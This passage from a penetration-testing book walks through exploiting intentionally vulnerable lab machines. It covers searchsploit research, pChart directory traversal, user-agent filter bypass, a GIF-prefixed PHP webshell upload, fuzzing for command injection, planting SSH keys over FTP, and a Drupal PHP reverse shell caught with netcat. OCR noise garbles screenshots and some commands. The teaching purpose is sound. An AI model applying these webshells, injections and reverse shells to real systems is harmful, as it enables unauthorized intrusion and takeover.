IP address: 10.0.2.15
Operating System: Linux (Debian 9)
Open Ports & Services:

e 21/tcp FTP
o ProFTPD 1.3.5

» Found listing of wuser patrick’s home directory in
/upload/directory.

= Exploits found

Z ProFTPd 1.3.5 - 'mod_copy' Command Exe |
exploits/linux/remote/37262.rb

Z ProFTPd 1.3.5 - 'mod_copy' Remote Comm |
exploits/linux/remote/36803.py

z ProFTPd 1.3.5 - File Copy |
exploits/linux/remote/36742.txt

e 22/tcp SSH

o Dropbear sshd 0.34 (protocol 2.0)
= Exploit found

z Dropbear SSH 0.34 - Remote Code Execut |
exploits/linux/remote/387.c

e 25/tcp SMTP

o Postfix smtpd package version 3.1.8-0
e 80/tcp HTTP

o Apache httpd 2.4.25, /ossec directory contains web interface
for OSSEC-HIDS

» Exploits found

Z Apache 2.4.17 <2.4.38 - "apache2ctl g |
exploits/linux/local/46676.php

% Apache <2.2.34/<2.4.27 - OPTIONS M |
exploits/linux/webapps/42745.py

e 110/tcp POP3



o Dovecot pop3d package version 1:2.2.27-3
e 139/tcp netbios-ssn

o Samba smbd package version 2:4.5.16
o 143/tcp IMAP

o Dovecot imapd package version 1:2.2.27-3
e 445/tcp netbios-ssn

o Samba smbd package version 2:4.5.16
e 465/tcp SMTP

o Postfix smtpd package version 3.1.8-0
e 587/tcp SMTP

o Postfix smtpd package version 3.1.8-0

e 993/tcp ssl/imaps?
e 995/tcp ssl/pop3s?
e 123/udp ntp

o NTP v4 (unsynchronized)
e 137/udp netbios-ns

o Samba nmbd netbios-ns package version 2:4.5.16
e 161/udp snmp

o SNMPvl1 server; net-snmp SNMPv3 server (public)
e 36969/udp tftp (found using snmpwalk)

o Mapped to patrick’s home directory

Kioptrix:5
Previously, enumeration of the Apache web server instance running on port
80 revealed the existence of pChart2.1.3 application on the target, our

enumeration of port 8080 displayed HTTP 403 forbidden pages and did not
reveal anything of importance.




We will search for vulnerabilities on the services and applications running
on the target machine employing the information found in the previous
phases:

Apache?2 package version 2.2.21

e mod_ssl version 2.2.1
e OpenSSL version 0.9.8q
e PHP version 5.3.8

pChart version 2.1.3

Open the terminal window and issue searchsploit <software-name>
<version> command one by one on the list of packages given as follows:

# searchsploit Apache 2.2.21

shellcodes: No Result
~#

Figure 7.15: list of Apache 2.2.21 exploits

The command outputs a single Apache exploit for Apache version 2.2.21,
however as by the path location, this is a ‘dos’ a.k.a denial of service
exploit and cannot be used to obtain remote access.

Figure 7.16: list of pChart 2.1.3 exploits

Searching for pchart 2.1.3 in searchsploit gives us an exact version match:

pChart 2.1.3 - Multiple Vulnerabilitie | exploits/php/webapps/31173.txt



Let’s take a look at the exploit by using the command:

cat /usr/share/exploitdb/exploits/php/webapps/31173.txt | less

cc/passwd”®

similar},
other high impact

configuration.
in the production code if the example code was
tion environment.

Figure 7.17: Contents of pChart directory traversal exploit 31173.txt

The pchart application seems to be affected by directory traversal
vulnerability which could result in disclosure of sensitive files.

A sample exploit url has been provided by the exploit author, lets customize
the sample URL and try it out on our target.

Open up the Firefox browser from the dock and browse to
http://10.0.2.104/pChart2.1.3/examples/index.php?
Action=View&Script=%2f..%2f..%2fetc/passwd

r »

Mozilla Firefox e 0 O

10.0.2.104/pChart2.1.3/exa: ¥ | 4+

% 2> G @ @ 10.0.2.104/pChart2.13/examples/index.p! = @ L » =

e

# $FreeBSD: release/9.0.0/etc/master.passwd 218047 2011-61-28 22:29:387 pjd %
#

root:*:@:8:Charlie &:/root:/bin/csh

toor:*:8:8:Bourne-again Superuser:/root:

daemon:*:1:1:0wner of many system processes:/root:fusr/sbin/nologin
operator:*:2:5:5ystem &:/:/usr/shin/nologin

bin:*:3:7:Binaries Commands and Source:S:/usr/sbinsnologin

thy:*:4:65533: Tty Sandbox:/: usr/sbin/nologin

Figure 7.18: Exploiting pChart vulnerability to view contents of passwd file

As you can notice that the directory traversal exploit worked, we are able to
view the passwd file.

Since Apache is the only remotely accessible service running on the target,
and there aren’t many loopholes to exploit. We will use the same directory
traversal vulnerability to read the Apache configuration file to find any
configurational weaknesses and the reason for getting 403 forbidden
message while accessing port 8080.



The operating system running on the target host is FreeBSD 9.0 and doing a
google search reveals that the Apache config file 1s situated at
/usr/local/etc/apache22/httpd.conf

Craft the exploit URL to read the Apache config file and open it in the web
browser:

http://10.0.2.104/pChart2.1.3/examples/index.php?
Action=View&Script=%2f..%2f..%2fusr/local/etc/apache22/httpd.conf

Mozilla Firefox e e 0

10.0.2.104/pChart2.1.3/exar X | +

{— - C @ @ 10.0.2.104/pChart2.1 3/examples/index.pl - @B L B

1l

SetEnvIf User-Agent “Mozilla/4.6 Mozillad browser

<VirtualHost *:8080=
DocumentRoot fusr/local/www/apache?2/dataZ

<Directory "/fusr/local/www/apache?2/dataz">
Options Indexes FollowSymLinks
AllowOverride ALl
Order allow,deny
Allow from enveMozillad browser
</Directory=

</VirtualHost>

< I

Include etcfapache22/Includes/™. conf

Figure 7.19: Viewing Apache configuration using pChart directory traversal exploit

We now have access to the Apache configuration file. Scrolling through the
configuration brings us to the VirtualHost configuration for port 8080 as
shown in the screenshot above. We can see that the access to port 8080 is
allowed only in cases where the ‘user-agent’ of the client matches
Mozilla/4.0 Mozilla4 browser. This string is sent from the client to the
server while establishing a HTTP connection. As the client is under our
control the responses sent by it can be manipulated to send the data
expected by the server and allow our connection to go through. This
effectively bypasses any client-based filtering or restrictions implemented
on the server side.

There are multiple ways to change the user-agent string sent by the client as
shown in the three options given as follows:



1. Enter ‘about.config’ in firefox browser, right click on the list and
add a new ‘String’ type variable named
‘general.useragent.override’ containing value ‘Mozilla/4.0
Mozilla4 browser’ .

2. Use a firefox addon such as ‘User-Agent Switcher and Manager’ to
change the default user-agent string.

3. Use an HTTP intercepting proxy such as burpsuite or zaproxy to
intercept all outgoing requests and rewrite the string before submitting
to the server.

Change the firefox user-agent string using any of the method above, and
browse to http://10.0.2.104:8080

Index of / - Mozilla Firefox - IO ﬁ“
Index of [ X | 4
{— - C @ @ 10.0.2.104:8080 - O ¥r P
Index of /
« phptax/

Figure 7.20: Port 8080 shows index page instead of forbidden 403 error page

Great, the server responded with a webpage instead of the usual 403 or
forbidden message, we can see a link to phptax application.



PHPTAX by William L. Berggren 2003{c) - Mozilla Firefox e ® 0

PHPTAX by William L. Berg: x | +

+ A (@ 10.0.2.104:8080/phptax/ S0% e D WP =

7 PHPTAX ™= n_]
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Figure 7.21: PHPTax application on port 8080

The page title shows that the phptax application has been developed by
William L. Bergrenn and copyright year is 2003. No version details are
mentioned either on the page or in the source code.

Let’s search for any known exploits for the phptax application using
searchsploit.

searchsploit phptax

Figure 7.22: list of PHPTax exploits

Searchsploit found three results for phptax application:

PhpTax - 'pfilez’ Execution Remote Cod |
exploits/php/webapps/21833.rb
PhpTax 0.8 - File Manipulation 'newval |

exploits/php/webapps/25849.txt



phptax 0.8 - Remote Code Execution |
exploits/php/webapps/21665.txt

Take notes on the observations made so far and we will continue with this
machine in the next chapter.

Observation Notes:

IP address: 10.0.2.104
Operating System: FreeBSD
Open Ports & Services:

e 80/tcp http

o Apache httpd 2.2.21
o mod ssl/2.2.21

o OpenSSL/0.9.8q

o DAV/2 PHP/5.3.8

o pChart application found:
http://10.0.2.104/pChart2.1.3/index.php

= Exploit found
Z pChart 2.1.3 - Multiple Vulnerabilitie |
exploits/php/webapps/31173.txt
e 8080/tcp http

o Apache httpd 2.2.21
» User-agent required: ‘Mozilla/4.0 Mozilla4 browser’
o mod ssl/2.2.21
o OpenSSL/0.9.8q
o DAV/2 PHP/5.3.8
o PhpTax application found: http://10.0.2.104:8080/phptax/
= Exploits found

Z PhpTax - 'pfilez' Execution Remote Cod |
exploits/php/webapps/21833.rb

z PhpTax 0.8 - File Manipulation 'newval |
exploits/php/webapps/25849.txt



Z phptax 0.8 - Remote Code Execution |
exploits/php/webapps/21665.txt

HackInOS:1

During the enumeration phase we had come across a PHP upload page on
the webserver. The HTML source of the upload.php page contained a
comment which provided us with a link to the developer’s GitHub page.

Let’s open the upload.php source code page on GitHub using firefox
browser. https://github.com/fatihhcelik/Vulnerable-Machine---
Hint/blob/master/upload.php

After reading the source code, you will get a fair amount of understanding
regarding the functioning of the upload file. Let’s see what all we
discovered in the file:

$target dir = "uploads/";
Location of file upload directory is uploads.

if (Scheck["mime"] == "image/png" || $check["mime"] ==
"image/gif") {

The server checks the type based on mime-type, and types of files allowed
are png and gif.

$rand number = rand(1,100);

A random number picked is from a small set of numbers ranging from 1 to
100.

$target file = $target dir . md5(basename($ FILES["file"]
["name"] .$rand number)) ;

Naming convention followed after the files are uploaded on the server.

With the information at hand let’s create a basic php shell file containing
GIF tags to bypass the upload filter at the server end to check and
ultimately demonstrate the vulnerability.

Open a terminal, and use the command nano cmd.php to create a file called
cmd . php, and add the following data to the file contents:



GIF89a;
<? system($ GET['cmd']) ;?>

The above emd.php file will give us basic access to the remote server, and
allow us to execute simple system commands on the target through our web
browser.

Browse to http://10.0.2.4:8000/upload.php using Firefox Browser and
upload the emd. php file that we created.

Mozilla Firefox o0 0
10.0.2.4:8000/upload.php X | +
B (@ 10.0.2.4:8000/upload.php v - B w B =
Select image : Browse.. | Nofile selected. | Submit

File uploaded fuploads/?

Figure 7.23: uploading cmd.php

Once you have uploaded the emd.php file to the server, we will still not be
able to access the cmd.php file as the name was changed by the upload
script. we need to find out its new name after getting uploaded.

What we do know so far is that the file will be named as MDS5 hash of the
original filename (emd.php) appended with a random number from 1-100,
so the final file name present in the /uploads directory will be MDS5 hash
of any of the values ranging from emd.php1l, cmd.php2 until cmd. php100.

We will generate the md5sum of the string cmd.phpl, cmd.php2, cmd.php3,
and so on using the command echo -n cmd.php(n) | md5sum within a
terminal.

- # echo -n cmd.phpl | mdSsum
04292b8d46833c395942086e6e G-

.php2 | mdSsum
d44843cT108897d25a243ffc3cdledb?

# echo -n cmd.php3 | mdSsum
9feead935c92e]1cdB559echaanis312Tt

il
i

Figure 7.24: Creating MD5 hash strings

As you can see, we have generated the 32-byte MDS5 hash for string
cmd . phpl along with a few spaces and - added at the end.



The preceding approach of issuing commands one after the other will be
very tedious and inefficient process and end up taking a lot of time and
effort so let’s automate the process and store all the hashes in a file
md5strings. txt using a bash ‘for’ loop.

for ((i=1; i<=100; i++)); do echo -n cmd.php$i | md5sum; done |
cut -d " " -f1 > mdS5strings.txt

The ‘for’ loop above generates a list of md5 hashes, the extra - at the end of
mdSsum output is sanitized by piping it through the ‘cut’ command. The -4
flag in the cut command sets the delimiter to the space character and the -£
flag extracts the field number specified and stores the filtered results to the
md55trings.txtfﬂe.

In the preceding example we have set the delimiter to <space> and field to
‘1’ which contains the md5 hash string.

# for ((i=1; i==1088; i++)); do echo -n cmd.php$i | md5sum; don

Figure 7.25: Automating md5 hash creation

The small bash script of ours created a sanitized list of md5 hashes for all
possible file names ranging from emd.phpl t0 cmd.php100.

The file has been uploaded, and we just need to check for the presence of
these files on the /uploads directory of the target server. Since we are
dealing with a large list of potential file names which needs to be checked
on the server, we will automate the process for finding the list of files on the
server using a tool called wfuzz.

Open a terminal and run the command wfuzz -w mdS5strings.txt --hc
404 http://10.0.2.4:8000/uploads/FUZZ.php

The wfuzz tool is a network-based web application fuzzing tool which
supports brute-forcing of web applications, the tool operated by replacing
the ‘FUZZ’ keyword with the values specified in payload. The -w flag is
used to specify a filename containing the list of FUZZ words while the --he
flag hides responses with the specified http status code.



b ook

# Wfuzz 2.4 - The Web Fuzzer *
L EREESEEERS R E RS E R R EEEE R SRR EREEERES EEREEEEEREERESEESEEREEEREER S

Target: http:// B.2.4:80008/uploads/FUZZ.php
Total requests:

Word

"@32e6bb36946ecC
cfl7ablazafz2bfs
Gag™

0e00EEE49: 200

#

Figure 7.26: Fuzzing /uploads directory for files

We were able to identify the name of the uploaded cmd.php file, the new
file exists at
http://10.0.2.4:8000/uploads/032e6bb36946eccf17abla2af2bf86a0.php

Note: The target system periodically deletes the cmd.php file uploaded
to the /uploads directory; re-upload the cmd.php and run the wfuzz
command in cases where the fuzzer is unable to find the file or
whenever you are not able to access the webshell through browser.

Access the simple php web-shell we uploaded earlier using Firefox and

execute the ‘1d’ command on the target
http://10.0.2.4:8000/uploads/<mdSstring>.php?cmd=id
i Mozilla Firefox ©e0 0

10.0.2.4:8000/uploads/032 X | +

| € BTSN (i 10.0.2.4:8000/uploads/032e6bb36946eccfl7al - @ | » | =

GIF&9a; uid=33(www-data) gid=33(www-data) groups=33(www-data)

Figure 7.27: executing id command using cmd.php webshell

The output of the ‘id’ command shows that webshell is running with
privileges of www-data.



We will search for vulnerabilities on the services and applications running
on the target machine employing the information found in the previous

phases:

Apache2 package version 2.4.25
WordPress version 5.0.3
OpenSSH version 7.2p2

Open the terminal window and issue searchsploit <software-name>
<version> command one by one on the list of packages given above.

- 413 Error HTTP Request
of Service exploit
d 2c exploit

.23 mod | - Denial

.7 + PHP 7 .

.7 mod status - Scoreboard
i f .27 - OPTIONS M
Tomcat - 'RealPath.
Tomcat 3.2. - 'Spource.js
Tomcat 3 i

Shellcodes: No Re

Figure 7.28: List of Apache 2.4 exploits

Our search for Apache 2.4 presents us with a list of potential exploits, we
can see two Apache exploits which match with the Apache version installed
on the target and may be useful to us:

Apache 2.4.17 < 2.4.38 - 'apache2ctl g |
exploits/linux/local/46676.php

Apache < 2.2.34 / < 2.4.27 - OPTIONS M |
exploits/linux/webapps/42745.py



Figure 7.29: List of WordPress 5.0.3 exploits

Searching for WordPress on searchsploit gives one match for stored XSS
and CSRF combination vulnerability:

WordPress Plugin Quick Page/Post Redir |
exploits/php/webapps/32867. txt

- Username Enumeration | exploits/lin
- Username Enumeration | expleits/linux

Shellcodes: No Result
: #

Figure 7.30: List of OpenSSH 7.2p2 exploits
Results of OpenSSH search show two potential exploits for version 7.2p2.

OpenSSH 7.2p2 - Username Enumeration |
exploits/linux/remote/40136.py
OpenSSHd 7.2p2 - Username Enumeration |
exploits/linux/remote/40113. txt

Take notes on the observations made so far, and we will continue with this
machine in the next chapter.

Observation Notes:

IP address: 10.0.2.4

Operating System: Ubuntu Linux
Open Ports & Services:

e 22/tcp SSH



o OpenSSH 7.2p2 Ubuntu 4ubuntu2.7
o Exploits Found

= OpenSSH 7.2p2 - Username Enumeration
exploits/linux/remote/40136.py

= OpenSSHd 7.2p2 - Username Enumeration
exploits/linux/remote/40113.txt
e 8000/tcp HTTP

o Apache httpd 2.4.25
o Exploits found

= Apache 24.17 < 2438 - ‘'apache2ctl g
exploits/linux/local/46676.php

» Apache < 2234 / < 2427 - OPTIONS M
exploits/linux/webapps/42745.py

o WordPress 5.0.3
o Exploit found

» WordPress  Plugin  Quick  Page/Post  Redir
exploits/php/webapps/32867 .txt
o http-robots.txt: 2 disallowed entries
= /upload.php

Z page source available on
https://github.com/fatihhcelik/Vulnerable-Machine---
Hint/blob/master/upload.php

3+ GIF and PNG files are allowed, uploaded files are
renamed to md5-hash(filename + random number 1-
100).ext and stored in /uploads directory.

+» Basic webshell cmd.php with GIF89a tag was
uploaded to the server.

«5» Webserver is running with privileges of user www-
data.

e /uploads



Sunset:Nightfall

The service enumeration performed in the previous phase provided us with
the versions for the services running on the target machine, the list of
services and their corresponding version numbers are listed as follows:

pyftpdlib version 1.5.5

OpenSSH version 7.9p1

Apache2 package version 2.4.38

MySQL package version 5.5.5-10.3.15-MariaDB-1

Open the terminal window and issue searchsploit <software-name>
<version> command one by one on the list of packages given above.

# searchsploit apache 2.4.38

| (fusr/share/exploitdb/)

2ctl g | exploits/linux/local/46676.php

Shellcodes: No Result

Figure 7.31: list of Apache 2.4.38 exploits
Searching for Apache 2.4.38 on searchsploit resulted in one match:

Apache 2.4.17 < 2.4.38 - 'apache2ctl g |
exploits/linux/local/46676.php

Search for pyftpdlib, OpenSSH and MySQL did not produce any
meaningful exploit or shellcode results for the versions installed on the

target host.

The enumeration of smb service revealed two users (matt and nightfall) on
the target system, we were later able to bruteforce the password for user
matt as cheese using the ftp protocol. The credentials were tried on the SSH
service however login was denied.

Logging in to the FTP service with credentials of user ‘matt’ gave us access
to the user’s home directory. We will attempt to leverage the FTP access to
gain shell access on the remote system.



Open up a terminal and run the ssh-keygen command, and accept the
default choices provided.

/.sshfid rsa):

/.ssh/ld rsa.

in froot/.ssh/id rsa.pub.

Figure 7.32: Generating rsa public/private keys using ssh-keygen

The public key has been generated and stored in /root/.ssh/id rsa.pub.

Next step is to copy the id rsa key to the current working directory using
command:

cp /root/.ssh/id rsa.pub ./authorized keys

f.ssh/id rsa.pub ./authorlized keys

00t vboxsT 563 Apr 20 88:35 authorized keys

00t v 399 Se

Figure 7.33: Copying SSH public key

We have the authorized keys file in place.

Open a ftp connection to the target system using command ftp <target
ip> and login into the service as matt.



# ftp 10.8.2.5

pyftpdlib 1.5.C
(18.08.2.5:root): L
rname ok, send password.
(s H
230 Login successful,
Remote system type is UNIX.
Using bimary mode to transfer files.

Figure 7.34: connecting to user matt’s FTP account

Create a .ssh directory using mkdir .ssh command, enter the directory
using cd .ssh and upload the key using the put authorized keys
command.

= mkdir .ssh
'/.55h" directory created.
ssh
.55h" 15 the current directory.
= put authorized k
local: authoriz ' authorized keys
ylishe

. Transfer starting.

5 (964.5696 KB/s)
Tt p= b.fl'.
221 Goodbye.

Figure 7.35: Uploading the public key

The public key has been uploaded to the target system; you can terminate
the ftp session by entering the ‘bye’ command.

Take notes on the observations made so far, and we will continue with this
machine in the next chapter.

Observation Notes:

IP address: 10.0.2.5

Operating System: Debian Linux
Open Ports & Services:

o 21/tep fip

o pyftpdlib 1.5.5
o User:mattPassword:cheese (via bruteforce attack using hydra)



o Uploaded authorized keys to .ssh folder inside user matt’s
home directory

e 22/tcp ssh

o OpenSSH 7.9p1 Debian 10 (protocol 2.0)
o Login denied for user matt

e 80/tcp http

o Apache httpd 2.4.38 ((Debian))
o Exploit found

» Apache 24.17 < 2438 - ‘'apache2ctl g |
exploits/linux/local/46676.php

e 139/tcp netbios-ssn

o Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
o Found users: matt, nightfall

e 445/tcp netbios-ssn
o Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
e 3306/tcp mysql

o MySQL 5.5.5-10.3.15-MariaDB-1
o Login denied for user matt

e 137/udp netbios-ns
o Samba nmbd netbios-ns (workgroup: WORKGROUP)
e 5353/udp mdns

o DNS-based service discovery

Mumbai:1

Enumeration of the http service on the target revealed a WordPress site on
port 80 along few internal files and an API running on port 8000.
Enumeration of the FTP service revealed internal communication between
administrators suggesting that the server has had security related issues in




the past and that privilege escalation exploits may still be present on the
system.

We will start by searching for vulnerabilities on the services and
applications running on the target machine employing the information
found in the previous phases:

vsftpd version 3.0.3
OpenSSH version 7.6pl
Apache version 2.4.29
WordPress version 5.2.3
MySQL

nginx version 1.14.0

Open the terminal window and issue searchsploit <software-name>
<version> command one by one on the list of packages given above.

- 413 Error HTTP Request
- Denial of Service
7 = 2ctl g
.23 mod ht - Denial of Se
.7 +# PHP 7.6.2 - 1
7 mod status - Scoreb i . C
= 34 f = 2T - i ploits, =
Tomc 3 f3. - ploits/multiple
Tomcat 3 ! its/m
Tomcat 3

1
.1

Shellcodes: No Result

Figure 7.36: List of Apache 2.4 exploits

Our search for Apache 2.4 presents us with a list of potential exploits, we
can see two Apache exploits which match with the Apache version installed
on the target and may be useful to us:

Apache 2.4.17 < 2.4.38 - 'apache2ctl g |
exploits/linux/local/46676.php



Apache < 2.2.34 / < 2.4.27 - OPTIONS M |
exploits/linux/webapps/42745.py

Searching for vsftpd, openssh, WordPress, mysql, and nginx did not
produce any meaningful exploit or shellcode results for the versions
installed on the target host.

We had come across test.php and keywords.py files on the nginx web
server, the test.php contains a parameter called ‘query’ which accepts
URL as input using HTTP POST method. The test.php api executes
keywords .py file in the background to produce the word count results and
display it on the page.

Let’s begin by fuzzing the query parameter on the test.php page in order
to uncover any potential vulnerabilities in may have.

Tip: You can find the various wordlists used by the wfuzz tool stored in
the /usr/share/wfuzz/wordlist/ directory. Take your time to explore the
various wordlists available.

Open up a terminal window and type the following command to begin
fuzzing:

wfuzz -w /usr/share/wfuzz/wordlist/Injections/All attack.txt -d
"query=FUZZ" http://10.0.2.6:8000/test.php

o o o o ok & kR

* %
- The Web Fuzzer
* &

A o k& o o ok &k ko

Total requests: 468

4
4
4
4
4
4
4
4
4
4
4



Figure 7.37: Fuzzing the query parameter on test.php page

You may notice that the server responds with a lot of false positives, the
common attributes to the server responses are as follows line count = 1,
word count =4 and character count = 26, we will filter the server responses
based on these counts as any deviation from the known pattern means that
the attack may have worked and the response warrants further investigation.

We will re-run the command with additional --h1/hw/hc flags to filter the
Server response.

For the sake of example, we will filter the server responses using the --hw
flag:

wfuzz -w /usr/share/wfuzz/wordlist/Injections/All attack.txt -d
"query=FUZZ" --hw 4 http://10.0.2.6:8000/test.php

T A o O R O R S AR T R A

Target: http:// 2.6:8000/test. php
otal requests:

T W

11 W

11 W

114 W

114 W

114 W |
11 W 121 Ch
1239 W 13181 Ch
48 W 1749 Ch

Figure 7.38: Filtering false positive results

Looks like the query parameter in test.php api may vulnerable to
command injection attack using symbols ; | and %0a which is the url-
encoded representation of the ‘Enter’ key.

We will verify the vulnerability using the curl command with -x flag to
specify the HTTP method as POST and -d flag to specify the data to be
submitted:



curl -X 10.0.2.6:8000/test.php -X POST -d “query=;id”

# curl http://18.08.2.6:8000/test.php -X POST -d "query=;id

Site Keywords and Counts:
uid=1881(apiuser) gid=1861(apiuser) groups=1@881(apiuser),115(docker)
: #

Figure 7.39: Executing id command using a command injection vulnerability

The command injection works, we were able to execute the ‘id” command
on the target. The server response shows that the service is running with
privileges of apiuser.

Take notes on the observations made so far, and we will continue with this
machine in the next chapter.

Observation Notes:

IP address: 10.0.2.6

Operating System: Ubuntu Linux
Open Ports & Services:

e 21/tep fip

o vsftpd 3.0.3

o Anonymous FTP allowed, file called Note revealed security
1ssues

e 22/tcp ssh
o OpenSSH 7.6p1 Ubuntu
e 80/tcp http

o Apache httpd 2.4.29
o Exploits found

» Apache 24.17 < 2438 - ‘'apache2ctl g |
exploits/linux/local/46676.php

» Apache < 2234 / < 2427 - OPTIONS M |
exploits/linux/webapps/42745.py

o WordPress 5.2.3
» XMLRPC was enabled which could lead to security issues



= User absozed found

e 3306/tcp mysql
e 8000/tcp http

o nginx 1.14.0

o .bash* files found suggesting that the web root might be user’s
home directory

» Docker container was built by a system user and /api
directory was added to the PATH variable.

o API http://10.0.2.6:8000/test.php which executes a python
script keywords.py for producing word count.

= API is vulnerable to command injection using symbols ; |
and %0a

Conclusion

This chapter covered the tools and techniques used to find vulnerabilities on
the target system. We performed hands-on exercises to find known
vulnerabilities in services, bypassing user-agent filtering, bypassing file
upload filters, creating web shells, fuzzing web services and parameters,
and so on. The next chapter will focus on exploiting the vulnerabilities
identified and obtaining shell access on each of the target hosts.

Questions

1. Where is the exploit-DB archive used by the command ‘searchsploit’
stored?

2. Which webserver vulnerability allows the attacker to view files
outside the webroot?

3. Which is a command injection vulnerability?



CHAPTER 8

Exploitation

n Chapter 7, Vulnerability Research we had explained how important

vulnerability research is during any security testing along with familiarizing
you with the tools available within Kali, and on the internet for identifying
relevant exploits available for the services running on the target hosts.

This chapter will dive into exploitation of the target systems using the
information gathered so far along with exploits identified during the previous
chapters.

Structure

In this chapter, we will touch upon the following topics:

e Creating web-shells using php and using them to execute commands
e Upgrading webshells to fully interactive reverse shells using netcat
e Using the Metasploit exploitation framework

e Manual exploitation and reverse shell listeners

Objectives
After reading this chapter, you will be able to:

e Understand the concepts of vulnerability exploitation.
e Create web-shells.
e Bypass target restrictions.

e Perform manual and automated exploitation.

So let's begin with the next steps,

DC-7

In the previous steps we logged into the target system using the dc7user’s
credentials and changed the Drupal admin user’s password to admin123 using



the Drush utility. Additionally, we also downloaded and enabled the ‘PHP
Filter’ module on the remote Drupal installation in order to allow us to add and
execute custom PHP code on the target system.

Continuing further, now let’s attempt to leverage this extended functionality of
Drupal to obtain web-based shell access on the target. To do this, create a page
on Drupal containing the malicious PHP code.

Kali Linux offers a lot of webshells under the /usr/share/webshells
directory, for this exercise let’s use the php based reverse shell located in
/usr/share/webshells/php/php-reverse-shell.php.

Open the php-reverse-shell.php file using the cat command or any
favourite text editor and copy the entire contents of the file onto clipboard.
1. Open up the Drupal page on the target system using Firefox browser and
login with admin and password ‘admin123’.

2. Click on the ‘content’ option under the manage ‘Manage’ section.

Content | D7 - Mozilla Firefox e e 0
@ Content | D7 %X Ik
€)= €& 4 @ & 10.0.2.27/admin/content T0% s @D O R =
() Back tosite = Manage P Shortcuts § admin
B Content th Structure | €4 Appearance | s Extend | S Configuration 11 Peaple ol Reports B Help
Content 7
Cantent
Home = Administration
O There is a security update available for your version of Drupal, To ensure the security of your server, you should update
imimedistely! See the svailable vpdates page for more information and te install your missing updates.

Figure 8.1: DC7 admin page

3. Click on the ‘“+add content’ button and click on the ‘Basic page’ link in
the resulting page.

4. Add the PHP reverse shell in the ‘ritle’ field, paste the code for php-
reverse-shell.php In the ‘Body’ section and select ‘PHP code’ in the
‘Text format’ drop-down menu.



Create Basic page | D7 - Mozilla Firefox e 0 6

@ Create Basicpage|D7 x | +

{— = 2 @ @ 10.0.2.27/node/add/page 70% o » | =

= Manage ¢ Shortcuts  § admin

B Content h Structure 4 Appearance P Extend o, Canfiguration 11 Peaple | GlI Reports 9 Help

i *
T cmial e E Last saved: Not saved yet
PHP reverse shell A S
Body (Edit summany} Revision log message
I Usage -
i Swe httpifpentestmonkey nettoolsiphp-roeverse-shall if you get stuck
set_time_limit (D);

SVERSION = “1.0%;

$ip = '10.0.2.238% I CHANGE THIS Brigfly describe the changes you have made

Sport = WETE; W CHANGE THIS

Schunk_size = 1400; (™ » MENU SETTINGS
Swrite_a = null

Text format | PHP code w Abaul text formats * URL ALIAS

* You may post PHP code. You should inchude <7php 7 tags = AUTHORING INFORMATION
* PROMOTION OPTIONS

! Publizhed

D o .

Figure 8.2: Creating a PHP webshell on Drupal

b

In the preceding screenshot, notice the “Body” section, Modify the $ip and
$port variables in the PHP code to receive the reverse shell on our Kali system
and click on the ‘save’ button to save the code. In the screenshot above we
have modified the value for the $ip variable to 10.0.2.238 which is the IP
address of our Kali system and the $port variable has been set to 9876.
(matching our lab environment)

Now open terminal and start a netcat session on Kali system and configure it to
listen for incoming sessions on port 9876. (Issue the command nc -1vp 9876)

root@kali: ~flab/DCT e 0

File Edit View Search Terminal Help
' # nc -lvp 9876
listenin g on [ any ] 9876 ...

Figure 8.3: Setting up a netcat listener

Netcat is also known as the swiss army knife of penetration testing tools, it
offers a ton of extremely useful features to the testers some of which we will
be progressively exploring as we go on exploiting various targets covered in
this book. In the example above we have set up a simple listener using the ‘-1’



b]

flag, the ‘-v’ flag sets netcat in verbose mode which may help in
troubleshooting connection related issues and finally the -p flag is used to set
the port. As the above example uses the -p port flag in -1 listener mode the
netcat command will listen for incoming connections on port 9876.

Once the listener has been successfully set up go back on the Drupal page and
click on the ‘preview’ button to execute our malicious PHP code on our DC7
target.

root@Kkali: ~/lab/DC7 00
File Edit View Search Terminal Help
: # nc -lvp 9876
on [any] 9876

ookup failed: Unknown host
from (UNKNOWN) [l@ 71 52132
inux dc-7 4.9.0-9-amdb64 #1 SMP Debian 4.9.168-1+deb9u5 (2019-08-11) x86 64 GNU/

B4:45 up 5 days, 4:55, © users, load average: 0.09, €.82, 0.00
TTY FROM LOGINE IDLE JCPU PCPU WHAT
www-data) gid=33(www-data) groups=33(www-data)
@: can't access tty: job control turned off

Figure 8.4: Reverse shell connection in action
Great! The PHP code ran perfectly on the target and you should now have a
working shell access on the DC7 system with privileges of user www-data.

The initial exploitation of DC7 target is now complete and we have shell
access to the www-data user, in the next chapter you will learn to exploit the
backup script running as cron-job to obtain root access.

Take notes on the observations made so far, and we will continue with this
machine in the next chapter.

Observation Notes:

IP address: 10.0.2.27

Operating System: Linux (Debian 10 based)
Open Ports & Services:

e 22/tcp - SSH

o OpenSSH 7.4pl (gathered from service banner)

o SSH allows login for dc7user using the credentials found on
GitHub page.



o Bash script /opt/scripts/backup.sh used to backup website and
sql database.

o Cron is being used to run the backup.sh script periodically.

o Backup.sh script can be modified by the root user or users
belonging to the www-data group.

o Drush is being used to administer Drupal
e 80/tcp - HTTP

o Apache 2.4.25 (gathered from service banner)
» Found robots.txt

o Drupal 8 (gathered from page source)
= Admin password changed to ‘admin123’

= PHP Filter module was uploaded and enabled to allow custom
PHP code execution.

= PHP reverse shell was uploaded to the server.

Z Reverse connection established with privileges of www-data
user.

o Internet handle @DC7user on the main page

= Google search of the handle revealed Twitter and Github
accounts.

» Found source-code and credentials ‘dc7user and
‘MdR3xOgB7#dW’

Digitalworld.local:Joy

We had left off the research phase after identifying potential exploits for
ProFTPD, Dropbear and Apache services, during this section of the chapter we
will be using the identified exploits to obtain initial shell access on the Joy
target machine.

The exploits identified in the previous phase are given in the table as follows:

Apache 2.4.17 < 2.4.38 - 'apache2ctl g |
exploits/linux/local/46676.php
Apache < 2.2.34 / < 2.4.27 - OPTIONS M |
exploits/linux/webapps/42745.py



Dropbear SSH 0.34 - Remote Code Execut |
exploits/linux/remote/387.c

ProFTPd 1.3.5 - 'mod copy' Command Exe |
exploits/linux/remote/37262.rb

ProFTPd 1.3.5 - 'mod copy' Remote Comm |
exploits/linux/remote/36803.py

ProFTPd 1.3.5 - File Copy |
exploits/linux/remote/36742. txt

The exploits identified by the searchsploit tool are located in the
/usr/share/exploitdb/ folder, you will need to type in the full path in order
to access the exploits.

For example, the full path of the first exploit shown in the table above is
/usr/share/exploitdb/exploits/linux/local/46676.php.

Open up a terminal session, and type the following command to examine the
exploits.

cat /usr/share/exploitdb/exploits/linux/local/46676.php

root@kali: ~/lab/Joy o0 0
File Edit View 5Search Terminal Help

